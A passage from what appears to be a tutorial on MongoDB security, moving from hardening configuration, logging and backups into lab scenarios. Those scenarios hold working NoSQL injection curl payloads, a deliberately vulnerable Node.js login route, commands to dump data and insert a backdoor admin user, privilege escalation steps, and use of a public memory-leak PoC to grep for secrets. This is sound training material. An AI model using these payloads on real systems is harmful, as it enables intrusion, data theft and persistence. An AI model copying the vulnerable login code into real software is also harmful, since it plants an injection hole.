# /etc/mongod.conf
security:
  javascriptEnabled: false  # Disable server-side JavaScript execution
```

```javascript
// Disable db.eval() explicitly (if not already disabled)
// In MongoDB 3.0+, db.eval() is deprecated
```

#### 5. Auditing & Logging

```yaml
# /etc/mongod.conf (Enterprise only)
auditLog:
  destination: file
  format: JSON
  path: /var/log/mongodb/audit.json
  filter: '{atype: {$in: ["authenticate", "authCheck", "createUser", "dropUser"]}}'

# Enable verbose logging
systemLog:
  destination: file
  path: /var/log/mongodb/mongod.log
  logAppend: true
  verbosity: 1  # 0-5, higher = more verbose
```

#### 6. Regular Security Practices

**Keep MongoDB Updated**

```bash
# Check current version
mongod --version

# Ubuntu/Debian update
sudo apt update
sudo apt upgrade mongodb-org

# RHEL/CentOS
sudo yum update mongodb-org
```

**Regular Backups**

```bash
# Automated backup script
#!/bin/bash
BACKUP_DIR="/backup/mongodb/$(date +%Y%m%d)"
mkdir -p $BACKUP_DIR

mongodump --host localhost \
  --username backup_user \
  --password $MONGO_BACKUP_PASS \
  --authenticationDatabase admin \
  --out $BACKUP_DIR

# Compress
tar -czf $BACKUP_DIR.tar.gz $BACKUP_DIR
rm -rf $BACKUP_DIR

# Retain only last 30 days
find /backup/mongodb -name "*.tar.gz" -mtime +30 -delete
```

**Security Monitoring**

```bash
# Monitor failed authentication attempts
tail -f /var/log/mongodb/mongod.log | grep "Authentication failed"

# Monitor unusual queries
tail -f /var/log/mongodb/mongod.log | grep "COLLSCAN"

# Connection monitoring
mongo admin --eval 'db.currentOp({"active": true})'
```

#### 7. Configuration Hardening Checklist

```yaml
# Secure mongod.conf template
# Network Configuration
net:
  port: 27017
  bindIp: 127.0.0.1
  maxIncomingConnections: 100
  ssl:
    mode: requireSSL
    PEMKeyFile: /etc/ssl/mongodb.pem
    CAFile: /etc/ssl/ca.pem
    
# Security
security:
  authorization: enabled
  javascriptEnabled: false
  
# Storage
storage:
  dbPath: /var/lib/mongodb
  journal:
    enabled: true
    
# System Logging
systemLog:
  destination: file
  logAppend: true
  path: /var/log/mongodb/mongod.log
  verbosity: 1
  
# Process Management
processManagement:
  fork: true
  pidFilePath: /var/run/mongodb/mongod.pid
  
# Set parameter
setParameter:
  enableLocalhostAuthBypass: false
  suppressNoTLSPeerCertificateWarning: false
```

***

### Practical Lab Scenarios \<a name="lab-scenarios">\</a>

#### Scenario 1: Unauthenticated MongoDB

**Setup:**

```bash
# Vulnerable configuration (DO NOT USE IN PRODUCTION)
docker run -d -p 27017:27017 --name vulnerable-mongo \
  -e MONGO_INITDB_DATABASE=testdb \
  mongo:4.4 --noauth
```

**Exploitation Steps:**

1. **Discovery**

```bash
nmap -sV -p 27017 localhost
```

2. **Connection**

```bash
mongo mongodb://localhost:27017
```

3. **Enumeration**

```javascript
show dbs
use testdb
show collections
db.users.find().pretty()
```

4. **Data Exfiltration**

```bash
mongodump --host localhost --port 27017 --out /tmp/dump
```

5. **Backdoor Creation**

```javascript
use testdb
db.users.insert({
  username: "backdoor",
  password: "$2a$10$...",
  role: "admin"
})
```

#### Scenario 2: NoSQL Injection

**Vulnerable Application:**

```javascript
// Vulnerable Node.js API
app.post('/login', async (req, res) => {
  const user = await db.collection('users').findOne({
    username: req.body.username,
    password: req.body.password
  });
  
  if (user) {
    res.json({success: true, user: user});
  } else {
    res.json({success: false});
  }
});
```

**Exploitation:**

```bash
# Test for vulnerability
curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}'

# Extract all users
curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex injection to enumerate usernames
curl -X POST http://target/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^admin"}, "password": {"$ne": null}}'
```

#### Scenario 3: Privilege Escalation

**Initial Access:** Read-only user on `app` database

```javascript
// Connect with limited user
mongo mongodb://readonly:password@target:27017/app

// Check current privileges
db.runCommand({connectionStatus: 1, showPrivileges: true})

// Enumerate users (if we can read admin.system.users)
use admin
db.system.users.find().pretty()

// Look for privilege escalation opportunities
use app
db.getCollectionNames()

// If we find stored procedures or can access admin db
use admin

// Create new admin user (if we have userAdmin role)
db.createUser({
  user: "escalated",
  pwd: "newpassword",
  roles: [{role: "root", db: "admin"}]
})
```

#### Scenario 4: MongoBleed Exploitation

**Testing Environment:**

```bash
# Deploy vulnerable MongoDB 4.4.29
docker run -d -p 27017:27017 mongo:4.4.29
```

**Exploitation:**

```bash
# Clone PoC
git clone https://github.com/joe-desimone/mongobleed.git
cd mongobleed

# Run exploit
python3 mongobleed.py --host localhost --max-offset 10000 --output leak.bin

# Analyze leaked data
strings leak.bin | grep -E "(password|token|key|secret|api)" -i
hexdump -C leak.bin | less
```

***

### Conclusion

MongoDB security requires a multi-layered approach:

1. **Never expose MongoDB directly to the internet**
2. **Always enable authentication and use strong passwords**
3. **Implement role-based access control with least privilege**
4. **Enable TLS/SSL for all connections**
5. **Disable JavaScript execution unless absolutely necessary**
6. **Keep MongoDB updated to the latest stable version**
7. **Regular security audits and penetration testing**
8. **Monitor logs for suspicious activity**
9. **Implement network segmentation and firewall rules**
10. **Regular backups and disaster recovery planning**

Remember: Security is not a one-time configuration but an ongoing process. Stay informed about new vulnerabilities, apply patches promptly, and regularly review your security posture.

***

### Additional Resources

#### Tools

* **NoSQLMap**: Automated NoSQL injection and exploitation
* **mongoaudit**: MongoDB security audit tool
* **MongoDB Compass**: Official GUI for MongoDB exploration
* **Studio 3T**: Advanced MongoDB IDE with security features

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}
